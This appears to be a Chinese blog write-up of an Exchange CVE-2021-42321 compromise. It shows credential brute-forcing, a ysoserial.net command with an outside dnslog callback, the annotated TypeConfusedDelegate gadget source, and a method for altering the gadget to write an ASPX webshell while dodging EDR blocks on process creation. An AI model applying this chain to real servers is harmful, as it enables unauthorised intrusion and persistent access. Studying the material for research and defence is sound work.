TypeConfusedDelegate以及魔改yso

又一个Exchange实战

前因

这次的起因是一个日常的项目,探测版本发现是 Exchange2019CU11 小版本号 15.2.986.5

通过版本判断存在草老师的 CVE-2021-42321 漏洞

这个漏洞是通过ews接口触发的针对 UserConfiguration 的反序列化漏洞,网上也已经有公开的exp了

条件是拥有一个用户的凭据,通过ysoserial_net,使用TypeConfusedDelegate gadget生成payload发送即可。

不过针对这个目标在利用时遇到一些阻碍,正好之前没有怎么认真学习过.net的反序列化问题,所以就单独学了一下来解决问题。

这篇文章以下就不详述 CVE-2021-42321 了,具体的细节以及exchange的反序列化问题我比较想单独放一篇文章。

越看越觉得不懂的越来越多了。。。

过程

利用的话需要用户凭据,最直接的方法是通过工具或平台收集目标域名的邮箱账号,然后利用exchange的ews或者autodiscover接口进行爆破

而这次也是很幸运地爆破出了几个账号的口令。

于是直接利用exp

1
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "ping 123.dnslog.cn"

结果。。。白茫茫一片啥也没有

exchange因为安装以及更新的需求基本是需要出网的,所以这里大概率是exp没有成功。

于是将脚本的每一次请求的结果都打印了出来,发现了问题,最后一步,也就是触发反序列化的请求返回了500。

那这里有几种可能:

  • 漏洞通过某些方式的改动被修补了
  • gadget类型被黑了,因为不允许的类型会直接抛出错误
  • 起进程的动作被杀软拦截了
  • payload传入直接被拦

我尝试将payload修改了几个字符,就成功返回200了,结合一些其他的结果,大致判断是因为exchange上存在ATP之类的防护软件,将Process给拦截了。

魔改Yso

yso反序列化的利用都是起cmd进行命令执行,而当前的许多防护、EDR、ATP等都把 Process.Start 拦截的死死的,所以只能尝试修改一下yso_net小工具来尝试RCE。

新版的Yso已经有草老师提的直接通过**Assembly.Load()**加载dll来RCE的功能

image-20220601083459048

不过将他直接放进 TypeConfusedDelegate 有点麻烦,所以我选择更方便的做法,通过反序列化来直接写一个webshell。

TypeConfusedDelegate

本次反序列化用到TypeConfusedDelegate链,所以我们先来简单看一下TypeConfusedDelegate链的大概原理

TypeConfusedDelegate 的释义为:类型混淆委托,那么两个要点就是*委托*** 、*类型混淆***

委托和多播委托

委托可以理解为一个引用方法的变量,很像是C里的指针。委托主要就是c#为了让c++开发者适应没有指针的开发环境而搞出来的一套东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Program
{
public delegate void MyDelegate(string s);

public static void PrintString(string s)
{
Console.WriteLine(s);
}
static void Main(string[] args)
{
MyDelegate myDelegate = new MyDelegate(PrintString);
myDelegate("test");
}
}

这里通过实例化 MyDelegate 来进行对PrintString 的引用以及传参。

需要注意的是传递给委托的方法签名必须和定义的委托的返回值、参数一致。

多播委托则是持有对委托列表的引用,把多播委托想象成一个列表,将委托的方法加入列表中,多播委托会按顺序依次调用每个委托。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Program
{
public delegate void MyDelegate(string s);

public static void PrintString(string s)
{
Console.WriteLine($"print {s} to screen.");
}
public static void WriteToFile(string s)
{
Console.WriteLine($"write {s} to file.");
}
static void Main(string[] args)
{
MyDelegate printString = new MyDelegate(PrintString);
MyDelegate writeFile = new MyDelegate(WriteToFile);
Delegate twoDelegte = MulticastDelegate.Combine(printString, writeFile);
twoDelegte.DynamicInvoke("something");
Delegate[] delegates = twoDelegte.GetInvocationList();
foreach (var item in delegates)
{
Console.WriteLine(item.Method);
}
}
}

// 输出
print something to screen.
write something to file.
Void PrintString(System.String)
Void WriteToFile(System.String)

我们通过 MulticastDelegate.Combine 合并两个委托。通过多播委托的 GetInvocationList() 可以得到委托的列表。

TypeConfusedDelegate分析

然后再来看看 TypeConfusedDelegate链,他的核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static object TypeConfuseDelegateGadget(InputArgs inputArgs)
{
string cmdFromFile = inputArgs.CmdFromFile;

if (!string.IsNullOrEmpty(cmdFromFile))
{
inputArgs.Cmd = cmdFromFile;
}

Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add(inputArgs.CmdFileName);
if (inputArgs.HasArguments)
{
set.Add(inputArgs.CmdArguments);
}
else
{
set.Add(""); // this is needed (as Process.Start accepts two args)
}

FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);

return set;
}

可以看到它使用了SortedSet<T> , 顾名思义SortSet<T> 是一个可排序的泛型集合。(泛型意为具体类型可以在声明实例时指定)它是c#里一个重要的数据结构,支持对存储的元素进行排序。

既然可以排序,那一定会涉及到比较,所以SortSet支持传入一个实例化的 ICompare 接口

image-20220602005624648

ICompare接口的Compare方法可以比较两个对象并返回一个整形结果

我们看代码中通过 Compare<T> 类实现了ICompare接口,而参数就是一个 Compasison 类 ,一个 委托 类型的比较器

image-20220602010627771

再来看SortedSet反序列化的过程。在OnDeserialization方法中,首先在序列化流中还原Compare,然后再还原SortedSet的每个元素,并调用Add添加到实例化后的SortedSet中。

image-20220602011034736

我们再回去看YSO的代码,其实他的思路很明确,先创建正常委托,然后通过反射修改正常委托的方法为恶意方法,当SortSet进行序列化的时候,就会触发恶意委托。而c#中的 Func<T> 即是一个万用的泛型委托,可以创建一个任意返回类型的委托。

1
Func<T x, T y, T result>(M)

意为定义一个返回为result类型M方法的委托,M方法的参数有两个,一个为x类型,一个为y类型

例如把委托的Method设置为Process.Start,元素设置为 cmd/c calc 时,就会执行 Process.Start("cmd","/c calc") 弹出一个计算器啦

但是这时候问题出现了:前面说过,**传递给委托的方法签名必须和定义的委托的返回值、参数一致**,Comparison返回的是int,而Process.Start返回的是Process,这就造成了冲突,导致失败,所以代码里使用了多播委托。我们可以直接修改多播委托的_invocatrionList中的任意一个委托

image-20220602011618707

根据作者的解释,多播委托返回的是一个整型数,即指向进程对象的指针。(这里我也半懂不懂)

OK,这样就完整的进行了TypeConfusedDelegate反序列化!我们再回顾一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 创建比较器委托
Delegate da = new Comparison<string>(String.Compare);
// 用两个string的委托合并为一个多播委托
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
// Create()函数返回new IComparer接口实例
IComparer<string> comp = Comparer<string>.Create(d);
// 将接口实例赋值给SortedSet的比较器
SortedSet<string> set = new SortedSet<string>(comp);
// set.Add("cmd.exe")
set.Add(inputArgs.CmdFileName);
// set.Add("calc")
set.Add(inputArgs.CmdArguments);
// 反射修改_invocationList
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// 修改_invocationList 使用Func 添加基于Process::Start(string, string)的委托
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);

修改Ysoserial

那么根据需求,我们需要的是在最后反序列化的时候,触发的委托不是新建一个进程,而是写入一个webshell

现在我们要做的就是简单的改一下最后使用反射修改的委托的定义

yso本来是更改为一个针对 Process.Start 方法的委托,而我们需要的是一个操作文件的方法,使用 System.IO.File.WriteAllText 即可

WriteAllText方法写文件接受两个参数:WriteAllText(Path, Content)

问题1

但是有一个问题是,Func<T> 是一个需要返回值的泛型委托,像 Process.Start 就会返回生成的Process类型对象

File.WriteAllText 返回是 void ,使用 Func 定义的话就会报错,因为Func不支持void返回类型

这个时候就可以使用 Action <T> 委托,他和 Func 基本相同没区别就是**只需要输入参数不需要返回值。**

image-20220601085103457

这样就修改好啦,通过

1
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c 123

image-20220602020954152

就可以在 c:\inetpub\wwwroot\aspnet_client 下生成一个内容为123 的1.aspx文件。

问题2

但是当我想通过该方法想写入一些字母的字符串时,却发生了意外,一些字符串无法写入,当时直接进行了一个简单的测试,发现当首字母小于 c 时,就可以成功写入,大于c则不能。当时觉得时一个很奇怪的问题。

当时为了快速解决问题,利用了一个讨巧的方法,在shell的开头加了一个 a 就成功的写入了文件

现在重新理一遍,应该时因为修改的是invokelist[1] 的委托,而输入的参数已经经过了第一个正常的 Compare委托,而第一个参数是 c:\xxxxxxx 故第二个参数若开头大于c,会产生顺序的颠倒,导致错误。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!